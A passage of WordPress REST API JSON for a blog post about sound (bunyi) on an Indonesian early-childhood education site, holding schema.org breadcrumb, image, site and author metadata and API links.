berikut!","breadcrumb":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/bunyi#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.altaglobalschool.com\/blog\/bunyi"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.altaglobalschool.com\/blog\/bunyi#primaryimage","url":"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/e925e333-7a4b-4d76-9e52-98745655b7bf.png","contentUrl":"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/e925e333-7a4b-4d76-9e52-98745655b7bf.png"},{"@type":"BreadcrumbList","@id":"https:\/\/www.altaglobalschool.com\/blog\/bunyi#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.altaglobalschool.com\/blog"},{"@type":"ListItem","position":2,"name":"Pengertian Bunyi, Sifat, Jenis, hingga Syarat Terjadinya"}]},{"@type":"WebSite","@id":"https:\/\/www.altaglobalschool.com\/blog\/#website","url":"https:\/\/www.altaglobalschool.com\/blog\/","name":"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini","description":"","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.altaglobalschool.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/850b7e1d71501916e6cba4c26483b280","name":"Adya Rosyada Yonas","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/?s=96&d=mm&r=g","caption":"Adya Rosyada Yonas"},"url":"https:\/\/www.altaglobalschool.com\/blog\/author\/adya-rosyada-yonas"}]}},"_links":{"self":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/628","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/comments?post=628"}],"version-history":[{"count":8,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/628\/revisions"}],"predecessor-version":[{"id":1948,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/628\/revisions\/1948"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/628"}],"wp:attachment":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/media?parent=628"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/categories?post=628"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/tags?post=628"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}